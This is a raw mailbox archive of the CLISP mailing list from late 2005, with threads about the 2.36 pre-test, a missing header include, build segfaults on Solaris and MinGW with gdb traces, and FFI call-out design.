CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 30 06:24:09 2005 X-Original-Date: Wed, 30 Nov 2005 13:18:23 +0100 Sam Steingold writes: > why doesn't bool_char_lconv work? > where is CHAR_MAX defined? It's defined in , which doesn't seem to be included in gettext.c. That could be the reason ;) The test succeeds when I add #include i gettext.c. (yet another argument for not debugging things when tired) Magnus From sds@gnu.org Wed Nov 30 07:52:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhUFy-0000iJ-SI for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 07:52:30 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhUFv-0002df-JC for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 07:52:31 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAUFq6N2015381; Wed, 30 Nov 2005 10:52:07 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marko Kocic Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0511300234v68606cffh@mail.gmail.com> (Marko Kocic's message of "Wed, 30 Nov 2005 11:34:00 +0100") References: <9238e8de0511300039t117eeb95g@mail.gmail.com> <9238e8de0511300234v68606cffh@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko Kocic Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pre-test for 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 30 07:53:03 2005 X-Original-Date: Wed, 30 Nov 2005 10:51:04 -0500 > * Marko Kocic [2005-11-30 11:34:00 +0100]: > > (STRINGP (WITH-OUTPUT-TO-STRING (S) (DESCRIBE (MAKE-ARRAY NIL) S))) > > *** - handle_fault error2 ! address = 0x190881a4 not in > [0x19d70000,0x19fa50c4) ! > SIGSEGV cannot be cured. Fault address = 0x190881a4. I cannot reproduce this. could you please try to debug this crash? http://clisp.cons.org/impnotes/faq.html#faq-debug thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://pmw.org.il/ http://ffii.org/ http://www.savegushkatif.org http://truepeace.org Apathy Club meeting this Friday. If you want to come, you're not invited. From sds@gnu.org Wed Nov 30 08:24:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhUl0-00031j-1w for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 08:24:34 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhUkv-0001JZ-9B for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 08:24:34 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAUGO8aN016967 for ; Wed, 30 Nov 2005 11:24:08 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87oe42ba7k.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Wed, 30 Nov 2005 13:18:23 +0100") References: <87k6ernqd3.fsf@zemdatav.stor.no-ip.org> <871x0zm5k6.fsf@zemdatav.stor.no-ip.org> <87oe42ba7k.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: make mod-check fails for i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 30 08:25:22 2005 X-Original-Date: Wed, 30 Nov 2005 11:23:06 -0500 > * Magnus Henoch [2005-11-30 13:18:23 +0100]: > > Sam Steingold writes: > >> why doesn't bool_char_lconv work? >> where is CHAR_MAX defined? > > It's defined in , which doesn't seem to be included in > gettext.c. That could be the reason ;) The test succeeds when I add > #include i gettext.c. It should now be fixed in the CVS. Thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.iris.org.il http://www.palestinefacts.org/ http://truepeace.org http://www.camera.org There's always free cheese in a mouse trap. From Joerg-Cyril.Hoehle@t-systems.com Wed Nov 30 12:52:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhYw0-0004Dz-GH for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 12:52:12 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhYvv-0007qw-Ui for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 12:52:09 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 30 Nov 2005 21:51:12 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 30 Nov 2005 21:51:12 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030719E69C@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: ortmage@gmx.net Subject: [clisp-list] Re: dynamically computed ffi MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 30 12:53:13 2005 X-Original-Date: Wed, 30 Nov 2005 21:51:11 +0100 Hi, >> * Scott Williams [2005-11-29 12:27:15 -0700]: >> What's the best way to get computed DEF-CALL-OUTs? Sam's proposition is ok, but what is realy dynamic in your requirements? o Do you really need names for the functions, instead of function objects? o Isn't it more like a lazy declaration (on a by-need basis)? o Is a shared ilbrary involved? What I mean is that if you intend to call functions from a shared library, there's a fixed and known set of functions, and people usually write large files of def-call-out forms. Now, if OTOH you don't have functions located in some library, but dynamically created function addresses, you can call these (e.g. consider the foreign-function constructor) without having to defined a name. Some people (including myself) tend to object to large lists of (mostly unused) def-call-out forms. Is that what you're trying to avoid by creating the functions only when actually referenced? Or do you really create a possibly unlimited number of functions at run-time (e.g. what COM/DCOM would presumably want to do)? Would you like to be more specific about your needs? Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Thu Dec 01 05:53:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhosJ-00045K-EQ for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 05:53:27 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ehos8-0005jC-I7 for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 05:53:27 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EhopU-0002I2-5J for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 14:50:34 +0100 Received: from sirov.cd.chalmers.se ([129.16.79.53]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 01 Dec 2005 14:50:32 +0100 Received: from henoch by sirov.cd.chalmers.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 01 Dec 2005 14:50:32 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 42 Message-ID: <83zmnlq3y8.fsf@sirov.cd.chalmers.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: sirov.cd.chalmers.se User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/21.1 (usg-unix-v) Cancel-Lock: sha1:jeFilr68iw2S6N+3b67qaI8Pq1Y= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Segfault while building on Solaris 8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 1 05:54:03 2005 X-Original-Date: Wed, 30 Nov 2005 21:24:31 +0100 This is CLISP from CVS, on Solaris 8 (sparc architecture). The build fails with: [...] chmod +w config.lisp echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext: :exit t)" STACK depth: 44775 SP depth: 33554729 WARNING: locale: no encoding ISO8859-1, using ISO-8859-1 WARNING: locale: no encoding ISO8859-1, using ISO-8859-1 make: *** [interpreted.mem] Segmentation Fault gdb says: (gdb) run Starting program: /users/cd/henoch/src/clisp-cvs/build-boris/lisp.run STACK depth: 16359 SP depth: 33554724 WARNING: locale: no encoding ISO8859-1, using ISO-8859-1 WARNING: locale: no encoding ISO8859-1, using ISO-8859-1 Program received signal SIGSEGV, Segmentation fault. 0x0014d474 in hash_lookup_builtin (ht={one_o = }, obj={one_o = }, allowgc=1692207, KVptr_=0xdfffacc8, Iptr_=0xdfffacc4) at hashtabl.d:1610 1610 while (!eq(*Nptr,nix)) { /* track "list" : "list" finished -> not found */ (gdb) bt #0 0x0014d474 in hash_lookup_builtin (ht={one_o = }, obj={one_o = }, allowgc=1692207, KVptr_=0xdfffacc8, Iptr_=0xdfffacc4) at hashtabl.d:1610 #1 0x00151a54 in gethash (obj={one_o = }, ht={one_o = }, allowgc=1692207) at hashtabl.d:2416 #2 0x00260cbc in register_foreign_variable (address=0x330a54, name_asciz=0x3075f0 "ffi_user_pointer", flags=, size=) at foreign.d:185 #3 0x0027cbac in init_ffi () at foreign.d:4380 #4 0x000319dc in main (argc=1, argv=0xdfffef5c) at spvw.d:3315 (gdb) p Nptr $1 = (gcv_object_t *) 0x5d8a3ee4 (gdb) p *Nptr Cannot access memory at address 0x5d8a3ee4 Magnus From marko.kocic@gmail.com Thu Dec 01 06:11:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ehp9K-0005Ng-OB for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 06:11:02 -0800 Received: from zproxy.gmail.com ([64.233.162.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ehp9K-0007Qf-0t for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 06:11:02 -0800 Received: by zproxy.gmail.com with SMTP id r28so267474nza for ; Thu, 01 Dec 2005 06:10:55 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=o2gnsQYhX3nLxEEvi3EGPW49jDUgxCjdt9AwFbiLn0imQHTp4tjBL20k9jfTJK1mnO0WdojXpNhFDQhNlOc1p1P110XWg02FLAW3P9WyC1GUVVxOC2hm5ivGJEY/XUjBAIf5JUCKoDQKahavLfMu/w4X1/YmGyAyl700KKH17UM= Received: by 10.36.224.26 with SMTP id w26mr1525219nzg; Thu, 01 Dec 2005 06:10:55 -0800 (PST) Received: by 10.36.221.68 with HTTP; Thu, 1 Dec 2005 06:10:55 -0800 (PST) Message-ID: <9238e8de0512010610g784cbd65u@mail.gmail.com> From: Marko Kocic To: clisp-list@lists.sourceforge.net, Marko Kocic In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <9238e8de0511300039t117eeb95g@mail.gmail.com> <9238e8de0511300234v68606cffh@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: pre-test for 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 1 06:12:01 2005 X-Original-Date: Thu, 1 Dec 2005 15:10:55 +0100 I tried the following: sync from cvs, started building clisp with debugging enabled. After crash I started gdb. Here is the gdb session $ gdb GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you ar= e welcome to change it and/or distribute copies of it under certain condition= s. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-mingw32". .gdbinit:108: Error in sourced command file: No symbol table is loaded. Use the "file" command. (gdb) base (gdb) run Starting program: c:\dev\cvstree\sourceforge\clisp\clisp\build-mingw-g/base/lisp.exe -B . -N locale -E 1:1 -q -norc -M b ase/lispinit.mem Program received signal SIGSEGV, Segmentation fault. 0x00462126 in interpret_bytecode_ (closure=3D{one_o =3D 433618537}, codeptr=3D0x19d87e20, byteptr_in=3D0x19d87e32 "\236 +\236\\ '\230") at eval.d:5906 5906 ? CCV_START_KEY : CCV_START_NONKEY; (gdb) n 0x10108d50 in _libws2_32_a_iname () (gdb) n Single stepping until exit from function _libws2_32_a_iname, which has no line number information. 0x7c90eaf4 in _libws2_32_a_iname () (gdb) n Single stepping until exit from function _libws2_32_a_iname, which has no line number information. Program received signal SIGSEGV, Segmentation fault. 0x00462126 in interpret_bytecode_ (closure=3D{one_o =3D 433618537}, codeptr=3D0x19d87e20, byteptr_in=3D0x19d87e32 "\236 +\236\\ '\230") at eval.d:5906 5906 ? CCV_START_KEY : CCV_START_NONKEY; (gdb) n Program exited with code 030000000375. (gdb) n The program is not being run. (gdb) In lisp process I did: (cd "tests") (load "tests") (time (run-all-tests)) It failed again while executing: (LET* ((N (MIN LAMBDA-PARAMETERS-LIMIT 1024)) (VARS (LOOP REPEAT N COLLECT (GENSYM)))) (EVAL `(=3D ,N (FLET ((%F ,VARS (+ ,@VARS))) (%F ,@(LOOP FOR E IN VARS COLLECT 1)))))) Hope this helps to track down the problem. I'm using win xp pro, mingw with gcc-4.0.2 and building clisp with the following cmdline ./configure --with-debug --with-mingw --with-module=3Drawsock --build build-mingw-g From kavenchuk@jenty.by Thu Dec 01 07:30:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhqOe-0002pH-Ts for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 07:30:56 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhqOd-00043y-GJ for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 07:30:56 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZ1MNT; Thu, 1 Dec 2005 17:32:14 +0200 Message-ID: <438F178C.4000308@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] heads up - on-line docs, pre-test etc References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 1 07:31:07 2005 X-Original-Date: Thu, 01 Dec 2005 17:32:28 +0200 Not all variables in CUSTOM package are documentary. http://clisp.cons.org/impnotes/customize.html (may by this superfluous) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Dec 01 10:07:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhsqA-0004yu-NH for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 10:07:30 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ehsq7-0000Ph-Cq for clisp-list@lists.sourceforge.net; Thu, 01 Dec 2005 10:07:30 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB1I6uAN022404; Thu, 1 Dec 2005 13:07:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <438F178C.4000308@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 01 Dec 2005 17:32:28 +0200") References: <438F178C.4000308@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 1 10:08:07 2005 X-Original-Date: Thu, 01 Dec 2005 13:05:55 -0500 > * Yaroslav Kavenchuk [2005-12-01 17:32:28 +0200]: > > Not all variables in CUSTOM package are documentary. http://cygwin.com/acronyms/#PTC -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.camera.org http://www.honestreporting.com http://pmw.org.il/ http://www.mideasttruth.com/ http://www.savegushkatif.org If you try to fail, and succeed, which have you done? From kavenchuk@jenty.by Fri Dec 02 04:09:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ei9jf-0001Ea-Ar for clisp-list@lists.sourceforge.net; Fri, 02 Dec 2005 04:09:55 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ei9jd-0001x2-Iv for clisp-list@lists.sourceforge.net; Fri, 02 Dec 2005 04:09:55 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZ1Q76; Fri, 2 Dec 2005 14:11:14 +0200 Message-ID: <439039F1.9060102@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 2 04:10:02 2005 X-Original-Date: Fri, 02 Dec 2005 14:11:29 +0200 Sam Steingold wrote: >>Not all variables in CUSTOM package are documentary. > > http://cygwin.com/acronyms/#PTC > first not documentary variable - and at once some questions: CUSTOM:*BREAK-ON-WARNINGS* 1) CLHS: Issue BREAK-ON-WARNINGS-OBSOLETE:REMOVE 2) CLtL2: 29.4.9. Warnings 3) Replacement of (when *break-on-warnings* by (when (subtypep 'warning *break-on-signals*) in WARN function and remove *break-on-warnings* from condition.lisp will solve a problem? Thanks! I am sorry if asked nonsense -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Sat Dec 03 17:54:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eij4h-0007xz-ME for clisp-list@lists.sourceforge.net; Sat, 03 Dec 2005 17:53:59 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eij4f-0003Xs-AP for clisp-list@lists.sourceforge.net; Sat, 03 Dec 2005 17:53:59 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 03 Dec 2005 20:53:55 -0500 X-IronPort-AV: i="3.99,210,1131339600"; d="scan'208"; a="179655565:sNHT388689326" To: clisp-list@lists.sourceforge.net, Magnus Henoch Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <83zmnlq3y8.fsf@sirov.cd.chalmers.se> (Magnus Henoch's message of "Wed, 30 Nov 2005 21:24:31 +0100") References: <83zmnlq3y8.fsf@sirov.cd.chalmers.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Magnus Henoch Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Segfault while building on Solaris 8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 3 17:54:11 2005 X-Original-Date: Sat, 03 Dec 2005 20:52:41 -0500 > * Magnus Henoch [2005-11-30 21:24:31 +0100]: > > This is CLISP from CVS, on Solaris 8 (sparc architecture). wfm on sparc-sun-solaris2.9-5.9 do you have libsigsegv installed? is this a clean rebuild? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org/ http://truepeace.org http://www.memri.org/ http://www.camera.org http://www.savegushkatif.org http://ffii.org/ Bus error -- please leave by the rear door. From sds@gnu.org Sat Dec 03 17:56:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eij7K-0008C0-G8 for clisp-list@lists.sourceforge.net; Sat, 03 Dec 2005 17:56:42 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eij7I-0006ly-8N for clisp-list@lists.sourceforge.net; Sat, 03 Dec 2005 17:56:42 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 03 Dec 2005 20:56:37 -0500 X-IronPort-AV: i="3.99,210,1131339600"; d="scan'208"; a="179656011:sNHT32021948" To: clisp-list@lists.sourceforge.net, Marko Kocic Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0512010610g784cbd65u@mail.gmail.com> (Marko Kocic's message of "Thu, 1 Dec 2005 15:10:55 +0100") References: <9238e8de0511300039t117eeb95g@mail.gmail.com> <9238e8de0511300234v68606cffh@mail.gmail.com> <9238e8de0512010610g784cbd65u@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko Kocic Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pre-test for 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 3 17:57:07 2005 X-Original-Date: Sat, 03 Dec 2005 20:55:23 -0500 > * Marko Kocic [2005-12-01 15:10:55 +0100]: > > Hope this helps to track down the problem. > I'm using win xp pro, mingw with gcc-4.0.2 and building clisp with the > following cmdline > ./configure --with-debug --with-mingw --with-module=rawsock --build > build-mingw-g I do not use pure mingw/msys, I use cygwin gcc -mno-cygwin and it is still at 3.4.4, so I cannot reproduce this. Yaroslav, this appears to be similar to your setup - have you seen anything like it? there is a slight chance that todays patches might have fixed this. could you please try again? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.savegushkatif.org http://www.jihadwatch.org/ http://www.dhimmi.com/ http://ffii.org/ http://pmw.org.il/ A slave dreams not of Freedom, but of owning his own slaves. From zellerin@gmail.com Sun Dec 04 23:38:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjAve-0004kS-Ri for clisp-list@lists.sourceforge.net; Sun, 04 Dec 2005 23:38:30 -0800 Received: from zproxy.gmail.com ([64.233.162.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjAve-00012t-NU for clisp-list@lists.sourceforge.net; Sun, 04 Dec 2005 23:38:30 -0800 Received: by zproxy.gmail.com with SMTP id z3so743277nzf for ; Sun, 04 Dec 2005 23:38:29 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; 